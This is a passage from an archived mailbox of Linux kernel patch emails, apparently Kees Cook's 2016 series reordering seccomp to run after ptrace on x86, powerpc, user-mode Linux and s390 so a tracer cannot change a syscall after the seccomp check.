index ec138e538c44..df56ca394877 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -64,20 +64,13 @@ static void do_audit_syscall_entry(struct pt_regs *regs, u32 arch)
 }
 
 /*
- * We can return 0 to resume the syscall or anything else to go to phase
- * 2.  If we resume the syscall, we need to put something appropriate in
- * regs->orig_ax.
- *
- * NB: We don't have full pt_regs here, but regs->orig_ax and regs->ax
- * are fully functional.
- *
- * For phase 2's benefit, our return value is:
- * 0:			resume the syscall
- * 1:			go to phase 2; no seccomp phase 2 needed
- * anything else:	go to phase 2; pass return value to seccomp
+ * Returns the syscall nr to run (which should match regs->orig_ax) or -1
+ * to skip the syscall.
  */
-unsigned long syscall_trace_enter_phase1(struct pt_regs *regs, u32 arch)
+static long syscall_trace_enter(struct pt_regs *regs)
 {
+	u32 arch = in_ia32_syscall() ? AUDIT_ARCH_I386 : AUDIT_ARCH_X86_64;
+
 	struct thread_info *ti = pt_regs_to_thread_info(regs);
 	unsigned long ret = 0;
 	u32 work;
@@ -118,59 +111,9 @@ unsigned long syscall_trace_enter_phase1(struct pt_regs *regs, u32 arch)
 			sd.args[5] = regs->bp;
 		}
 
-		BUILD_BUG_ON(SECCOMP_PHASE1_OK != 0);
-		BUILD_BUG_ON(SECCOMP_PHASE1_SKIP != 1);
-
-		ret = seccomp_phase1(&sd);
-		if (ret == SECCOMP_PHASE1_SKIP) {
-			regs->orig_ax = -1;
-			ret = 0;
-		} else if (ret != SECCOMP_PHASE1_OK) {
-			return ret;  /* Go directly to phase 2 */
-		}
-
-		work &= ~_TIF_SECCOMP;
-	}
-#endif
-
-	/* Do our best to finish without phase 2. */
-	if (work == 0)
-		return ret;  /* seccomp and/or nohz only (ret == 0 here) */
-
-#ifdef CONFIG_AUDITSYSCALL
-	if (work == _TIF_SYSCALL_AUDIT) {
-		/*
-		 * If there is no more work to be done except auditing,
-		 * then audit in phase 1.  Phase 2 always audits, so, if
-		 * we audit here, then we can't go on to phase 2.
-		 */
-		do_audit_syscall_entry(regs, arch);
-		return 0;
-	}
-#endif
-
-	return 1;  /* Something is enabled that we can't handle in phase 1 */
-}
-
-/* Returns the syscall nr to run (which should match regs->orig_ax). */
-long syscall_trace_enter_phase2(struct pt_regs *regs, u32 arch,
-				unsigned long phase1_result)
-{
-	struct thread_info *ti = pt_regs_to_thread_info(regs);
-	long ret = 0;
-	u32 work = ACCESS_ONCE(ti->flags) & _TIF_WORK_SYSCALL_ENTRY;
-
-	if (IS_ENABLED(CONFIG_DEBUG_ENTRY))
-		BUG_ON(regs != task_pt_regs(current));
-
-#ifdef CONFIG_SECCOMP
-	/*
-	 * Call seccomp_phase2 before running the other hooks so that
-	 * they can see any changes made by a seccomp tracer.
-	 */
-	if (phase1_result > 1 && seccomp_phase2(phase1_result)) {
-		/* seccomp failures shouldn't expose any additional code. */
-		return -1;
+		ret = __secure_computing(&sd);
+		if (ret == -1)
+			return ret;
 	}
 #endif
 
@@ -189,17 +132,6 @@ long syscall_trace_enter_phase2(struct pt_regs *regs, u32 arch,
 	return ret ?: regs->orig_ax;
 }
 
-long syscall_trace_enter(struct pt_regs *regs)
-{
-	u32 arch = in_ia32_syscall() ? AUDIT_ARCH_I386 : AUDIT_ARCH_X86_64;
-	unsigned long phase1_result = syscall_trace_enter_phase1(regs, arch);
-
-	if (phase1_result == 0)
-		return regs->orig_ax;
-	else
-		return syscall_trace_enter_phase2(regs, arch, phase1_result);
-}
-
 #define EXIT_TO_USERMODE_LOOP_FLAGS				\
 	(_TIF_SIGPENDING | _TIF_NOTIFY_RESUME | _TIF_UPROBE |	\
 	 _TIF_NEED_RESCHED | _TIF_USER_RETURN_NOTIFY)
diff --git a/arch/x86/include/asm/ptrace.h b/arch/x86/include/asm/ptrace.h
index 6271281f947d..2b5d686ea9f3 100644
--- a/arch/x86/include/asm/ptrace.h
+++ b/arch/x86/include/asm/ptrace.h
@@ -83,12 +83,6 @@ extern void send_sigtrap(struct task_struct *tsk, struct pt_regs *regs,
 			 int error_code, int si_code);
 
 
-extern unsigned long syscall_trace_enter_phase1(struct pt_regs *, u32 arch);
-extern long syscall_trace_enter_phase2(struct pt_regs *, u32 arch,
-				       unsigned long phase1_result);
-
-extern long syscall_trace_enter(struct pt_regs *);
-
 static inline unsigned long regs_return_value(struct pt_regs *regs)
 {
 	return regs->ax;
-- 
2.7.4



From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.uml.devel
Subject: [PATCH 12/14] powerpc/ptrace: run seccomp after ptrace
Date: Thu,  9 Jun 2016 14:02:02 -0700
Lines: 91
Approved: news@gmane.org
Message-ID: <1465506124-21866-13-git-send-email-keescook@chromium.org>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465506232 14657 80.91.229.3 (9 Jun 2016 21:03:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:03:52 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	linuxppc-dev@lists.ozlabs.org, Andy Lutomirski <luto@kernel.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Hogan <james.hogan@imgtec.com>,
	Jeff Dike <jdike@addtoit.com>, linux-arch@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
	"Maciej W. Rozycki" <macro@imgtec.com>,
	Mark Rutland <mark.rutland@arm.com>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Richard Weinberger <richard@nod.at>,
	Russell King <linux@armlinux.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 09 23:03:42 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bB76z-0000H4-1f
	for glk-linux-kernel-3@plane.gmane.org; Thu, 09 Jun 2016 23:03:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752375AbcFIVDN (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 9 Jun 2016 17:03:13 -0400
Original-Received: from mail-pa0-f42.google.com ([209.85.220.42]:33271 "EHLO
	mail-pa0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752127AbcFIVCg (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 9 Jun 2016 17:02:36 -0400
Original-Received: by mail-pa0-f42.google.com with SMTP id ec8so16603451pac.0
        for <linux-kernel@vger.kernel.org>; Thu, 09 Jun 2016 14:02:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=9Lch+nmOXeei4KpNKQpy/WFoYPhYHWVDpIemPl8eArQ=;
        b=l5SJyqxUYbGTxMvgH3Br3Yy5XnnfIl3heEOX/wCDHo36Wg19oBDTVaj0Sg0E+C741J
         EDKS0Bu8uzHXxE3sWpZzpTXSnDMWT0ikOnRMju/GdJqiWKgxuBkwQIHMPz1hGne/HxIw
         N2niwNxx6m8t/KoppuFCIZnAhzLmk54iWqKDA=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=9Lch+nmOXeei4KpNKQpy/WFoYPhYHWVDpIemPl8eArQ=;
        b=jGCk1veGwQ5FxbUPlIVy3O14MWN4aOQcYr7zNtXZIpgJv2GZ9lFRQFymjnwLnz/9PZ
         bvlgptamgtFksszEQmJs4kI2BlE/iSvGQYZqn6rx2IGIJE0Y87c7tnZQ99F78CRxO60w
         pQrMQVZtauvJ0j1T7Xei19KgaGrYbPQVBcjO53Rs/dAnZhv7CMDFdCGu/VaMtMov8GVA
         3GTuHUSGKj+CZSZBNKe217Rj4z/nlRXSdW4DBo8VEtR7aQVcpK/N47dl9nIIVVSmgTLw
         ZD4Ayf6IgySAtxtPXHlslcMM7i3HPRWxyk8ddH82kim7bmGSV6AyXP2iQ/Lkf4pHTvat
         BOZA==
X-Gm-Message-State: ALyK8tJW7O6hp25HSCuia+stre5wZvRpQPYKdzV4NaxZKKNs/tFe6mq/ZO+WThH887eua0mC
X-Received: by 10.66.132.45 with SMTP id or13mr9202420pab.79.1465506150457;
        Thu, 09 Jun 2016 14:02:30 -0700 (PDT)
Original-Received: from www.outflux.net (173-164-112-133-Oregon.hfc.comcastbusiness.net. [173.164.112.133])
        by smtp.gmail.com with ESMTPSA id d8sm12147380pfg.72.2016.06.09.14.02.27
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Jun 2016 14:02:28 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2240085 gmane.linux.ports.ppc64.devel:128383 gmane.linux.kernel.cross-arch:32357 gmane.linux.ports.arm.kernel:505738 gmane.linux.ports.mips.general:55130 gmane.linux.ports.parisc:26859 gmane.linux.uml.devel:15888
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2240085>

Close the hole where ptrace can change a syscall out from under seccomp.

Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: Michael Ellerman <mpe@ellerman.id.au>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: linuxppc-dev@lists.ozlabs.org
---
 arch/powerpc/kernel/ptrace.c | 44 +++++++++++++++++++++++---------------------
 1 file changed, 23 insertions(+), 21 deletions(-)

diff --git a/arch/powerpc/kernel/ptrace.c b/arch/powerpc/kernel/ptrace.c
index ed799e994773..5dc47ebb3840 100644
--- a/arch/powerpc/kernel/ptrace.c
+++ b/arch/powerpc/kernel/ptrace.c
@@ -1788,7 +1788,7 @@ static int do_seccomp(struct pt_regs *regs)
 
 	/*
 	 * The syscall was allowed by seccomp, restore the register
-	 * state to what ptrace and audit expect.
+	 * state to what audit expects.
 	 * Note that we use orig_gpr3, which means a seccomp tracer can
 	 * modify the first syscall parameter (in orig_gpr3) and also
 	 * allow the syscall to proceed.
@@ -1822,22 +1822,25 @@ static inline int do_seccomp(struct pt_regs *regs) { return 0; }
  */
 long do_syscall_trace_enter(struct pt_regs *regs)
 {
-	bool abort = false;
-
 	user_exit();
 
+	/*
+	 * The tracer may decide to abort the syscall, if so tracehook
+	 * will return !0. Note that the tracer may also just change
+	 * regs->gpr[0] to an invalid syscall number, that is handled
+	 * below on the exit path.
+	 */
+	if (test_thread_flag(TIF_SYSCALL_TRACE) &&
+	    tracehook_report_syscall_entry(regs))
+		goto skip;
+
+	/* Run seccomp after ptrace; allow it to set gpr[3]. */
 	if (do_seccomp(regs))
 		return -1;
 
-	if (test_thread_flag(TIF_SYSCALL_TRACE)) {
-		/*
-		 * The tracer may decide to abort the syscall, if so tracehook
-		 * will return !0. Note that the tracer may also just change
-		 * regs->gpr[0] to an invalid syscall number, that is handled
-		 * below on the exit path.
-		 */
-		abort = tracehook_report_syscall_entry(regs) != 0;
-	}
+	/* Avoid trace and audit when syscall is invalid. */
+	if (regs->gpr[0] >= NR_syscalls)
+		goto skip;
 
 	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
 		trace_sys_enter(regs, regs->gpr[0]);
@@ -1854,17 +1857,16 @@ long do_syscall_trace_enter(struct pt_regs *regs)
 				    regs->gpr[5] & 0xffffffff,
 				    regs->gpr[6] & 0xffffffff);
 
-	if (abort || regs->gpr[0] >= NR_syscalls) {
-		/*
-		 * If we are aborting explicitly, or if the syscall number is
-		 * now invalid, set the return value to -ENOSYS.
-		 */
-		regs->gpr[3] = -ENOSYS;
-		return -1;
-	}
-
 	/* Return the possibly modified but valid syscall number */
 	return regs->gpr[0];
+
+skip:
+	/*
+	 * If we are aborting explicitly, or if the syscall number is
+	 * now invalid, set the return value to -ENOSYS.
+	 */
+	regs->gpr[3] = -ENOSYS;
+	return -1;
 }
 
 void do_syscall_trace_leave(struct pt_regs *regs)
-- 
2.7.4



From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.uml.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel
Subject: [PATCH 14/14] um/ptrace: run seccomp after ptrace
Date: Thu,  9 Jun 2016 14:02:04 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <1465506124-21866-15-git-send-email-keescook@chromium.org>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465506236 14715 80.91.229.3 (9 Jun 2016 21:03:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:03:56 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>, Jeff Dike <jdike@addtoit.com>,
	Richard Weinberger <richard@nod.at>,
	user-mode-linux-devel@lists.sourceforge.net,
	Andy Lutomirski <luto@kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Hogan <james.hogan@imgtec.com>,
	linux-arch@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	"Maciej W. Rozycki" <macro@imgtec.com>,
	Mark Rutland <mark.rutland@arm.com>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Paul Mackerras <paulus@samba.org>,
	Ralf Baechle <ralf@linu
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 09 23:03:38 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bB76i-0008Ta-FL
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Jun 2016 23:03:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750851AbcFIVDG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jun 2016 17:03:06 -0400
Original-Received: from mail-pf0-f171.google.com ([209.85.192.171]:34764 "EHLO
	mail-pf0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752139AbcFIVCh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jun 2016 17:02:37 -0400
Original-Received: by mail-pf0-f171.google.com with SMTP id 62so16361864pfd.1
        for <linux-parisc@vger.kernel.org>; Thu, 09 Jun 2016 14:02:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=qSrZRKA/re/ckHRR3o3LlYcPsFI9+7jvkw4LPjMDH60=;
        b=AprkSqwfC8aOSOPvOcCJJkfMCkPYjWPtiXOUxlhMNBhK9ffwVeU4oXPTEcYA9moKWx
         jiymuOHx77ZLgQXazMXkX4ybjokoKiiNyWt/ebAKVEBytq55yevnmyoVC0moqFU/iwAH
         QeHq1hqIqrcpcABC7FaxALsnxy/qdT8QCwulM=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=qSrZRKA/re/ckHRR3o3LlYcPsFI9+7jvkw4LPjMDH60=;
        b=U1+t5edT0LoU2jbWNGYmWvrxnYkwFrp6NEI8y3LCd7/mD0nddVoyUFgjUZj788xrw0
         NtxwhGCsNbRWKk9sNvI4NpRwuutrj2RwheUoDqKJFzOCFC9uQDG5E96L/jixQrjBmAWq
         YwXqhAyRVja2oKmArCo3/HkrgE4Nfg1f7rlLjtQ7sVThafyJYiKtq52Zdnee92YJecc4
         YYgwGcXkvzLBXYSKG94+GVIpV2GSPA65OoczkKXJ3QcHl4q0jsQJjgvIXpzJEHRBaa95
         c9Ih/s9uXN0Juap6dQ7dUuKUGK6XJ04rxtysWB6GaIAlhM4psieYWZg64DBGN9rbfgrj
         pgdA==
X-Gm-Message-State: ALyK8tLIw+mT8c+X8n4CiteFN4xdgS1rxVr4IDw2Z9dkqMDiMAz2e+0GeeiKZ8ZotvD6BbD2
X-Received: by 10.98.6.69 with SMTP id 66mr6439204pfg.115.1465506151198;
        Thu, 09 Jun 2016 14:02:31 -0700 (PDT)
Original-Received: from www.outflux.net ([2002:ada4:7085:0:ae16:2dff:fe07:4fb6])
        by smtp.gmail.com with ESMTPSA id hw10sm12191436pac.15.2016.06.09.14.02.28
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Jun 2016 14:02:30 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26860 gmane.linux.kernel:2240087 gmane.linux.uml.devel:15889 gmane.linux.kernel.cross-arch:32358 gmane.linux.ports.arm.kernel:505739 gmane.linux.ports.mips.general:55131 gmane.linux.ports.ppc64.devel:128384
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26860>

Close the hole where ptrace can change a syscall out from under seccomp.

Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: Jeff Dike <jdike@addtoit.com>
Cc: Richard Weinberger <richard@nod.at>
Cc: user-mode-linux-devel@lists.sourceforge.net
---
 arch/um/kernel/skas/syscall.c | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/arch/um/kernel/skas/syscall.c b/arch/um/kernel/skas/syscall.c
index 9c5570f0f397..ef4b8f949b51 100644
--- a/arch/um/kernel/skas/syscall.c
+++ b/arch/um/kernel/skas/syscall.c
@@ -20,12 +20,12 @@ void handle_syscall(struct uml_pt_regs *r)
 	UPT_SYSCALL_NR(r) = PT_SYSCALL_NR(r->gp);
 	PT_REGS_SET_SYSCALL_RETURN(regs, -ENOSYS);
 
-	/* Do the secure computing check first; failures should be fast. */
-	if (secure_computing(NULL) == -1)
+	if (syscall_trace_enter(regs))
 		return;
 
-	if (syscall_trace_enter(regs))
-		goto out;
+	/* Do the seccomp check after ptrace; failures should be fast. */
+	if (secure_computing(NULL) == -1)
+		return;
 
 	/* Update the syscall number after orig_ax has potentially been updated
 	 * with ptrace.
@@ -37,6 +37,5 @@ void handle_syscall(struct uml_pt_regs *r)
 		PT_REGS_SET_SYSCALL_RETURN(regs,
 				EXECUTE_SYSCALL(syscall, regs));
 
-out:
 	syscall_trace_leave(regs);
 }
-- 
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 11/14] s390/ptrace: run seccomp after ptrace
Date: Thu,  9 Jun 2016 14:02:01 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <1465506124-21866-12-git-send-email-keescook@chromium.org>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465506237 14724 80.91.229.3 (9 Jun 2016 21:03:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:03:57 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 Russell King <linux@armlinux.org.uk>, Paul Mackerras <paulus@samba.org>,
 Chris Metcalf <cmetcalf@mellanox.com>, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, Michael Ellerman <mpe@ellerman.id.au>,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 James Hogan <james.hogan@imgtec.com>, Kees Cook <keescook@chromium.org>,
 user-mode-linux-devel@lists.sourceforge.net, Will Deacon <will.deacon@arm.com>,
 Jeff Dike <jdike@addtoit.com>, Andy Lutomirski <luto@kernel.org>,
 linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
 Ralf Baechle <ralf@linux-mips.org>, Richard Weinberger <richard@nod.at>,
 Martin Schwidefsky
To: linux-kernel@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jun 09 23:03:50 2016
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1bB770-0000DU-FM
	for linux-arm-kernel@m.gmane.org; Thu, 09 Jun 2016 23:03:34 +0200
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1bB76b-00071j-DL; Thu, 09 Jun 2016 21:03:09 +0000
Original-Received: from mail-pf0-x234.google.com ([2607:f8b0:400e:c00::234])
 by bombadil.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1bB76G-0006nh-3M
 for linux-arm-kernel@lists.infradead.org; Thu, 09 Jun 2016 21:02:49 +0000
Original-Received: by mail-pf0-x234.google.com with SMTP id y124so16392311pfy.0
 for <linux-arm-kernel@lists.infradead.org>;
 Thu, 09 Jun 2016 14:02:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=chromium.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references;
 bh=MsvE6N6UqdLeFMmaS/9rZC4XR2ujr1fHSLfiP2y/Gn0=;
 b=bpwssgpewcKPO78yV+657MZdSY0DX34/P/3SKXqet/xN2BYH3+qOeNGtKDySd2ee5s
 qEu/ZAt8SE9mIvFdMM6RC8nX71yoEoI9AfUfe8T2ZPiAcGNqDewn0ADRsYwjUa4HS/y4
 k80kVO4ijjVpJ6N6uWlfgnGzuZVevhqGjgt9Y=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20130820;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references;
 bh=MsvE6N6UqdLeFMmaS/9rZC4XR2ujr1fHSLfiP2y/Gn0=;
 b=CGmV88PvU0gxKSdBSnvFMYhCTJTSFMjHsfMxqiBL0MMvlIazGO4iAmTSsC9uTJgzkD
 sz5836j9CmbVBKZhZiEKUnmq7eayg5SRuj3KzAkoCRCx+quEijINKbFL6ssUKtIM3cAc
 EK6r3+Gm+3gF0UI15OHFfz/KEynZmmSOtxNCqCmygpL2Z+nwIK0aBKQzDzkWTHO6RsGi
 eWpQQFS7UNOKLMkNh1z0KRTRJ8husaxxyPimDFPTTqUsCUs0YpGjiIIUQ19QpbOYX/NV
 96IQ4cJsG2/bxglMiNdE4+OngCzzr0NzLjsVdoLVsSak6WwiY8ovYRktAQo4NR3qIx2V
 Atrg==
X-Gm-Message-State: ALyK8tIdAmZsaJcpSixLPngvKF2kYdfHEn+FmbeT3qnpYOly1NmgPVOzd9JBOTIuebmh3MXp
X-Received: by 10.98.41.133 with SMTP id p127mr6463692pfp.18.1465506150029;
 Thu, 09 Jun 2016 14:02:30 -0700 (PDT)
Original-Received: from www.outflux.net ([2002:ada4:7085:0:ae16:2dff:fe07:4fb6])
 by smtp.gmail.com with ESMTPSA id 12sm12152345pfx.68.2016.06.09.14.02.27
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 09 Jun 2016 14:02:27 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20160609_140248_305967_534C99CF 
X-CRM114-Status: GOOD (  13.61  )
X-Spam-Score: -2.7 (--)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (-2.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [2607:f8b0:400e:c00:0:0:0:234 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.20
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:505740 gmane.linux.kernel:2240088 gmane.linux.ports.mips.general:55132 gmane.linux.kernel.cross-arch:32359 gmane.linux.uml.devel:15890 gmane.linux.ports.parisc:26861 gmane.linux.ports.ppc64.devel:128385
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/505740>

Close the hole where ptrace can change a syscall out from under seccomp.

Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: linux-s390@vger.kernel.org
---
 arch/s390/kernel/ptrace.c | 21 +++++++++------------
 1 file changed, 9 insertions(+), 12 deletions(-)

diff --git a/arch/s390/kernel/ptrace.c b/arch/s390/kernel/ptrace.c
index c238e9958c2a..cea17010448f 100644
--- a/arch/s390/kernel/ptrace.c
+++ b/arch/s390/kernel/ptrace.c
@@ -821,15 +821,6 @@ long compat_arch_ptrace(struct task_struct *child, compat_long_t request,
 
 asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
 {
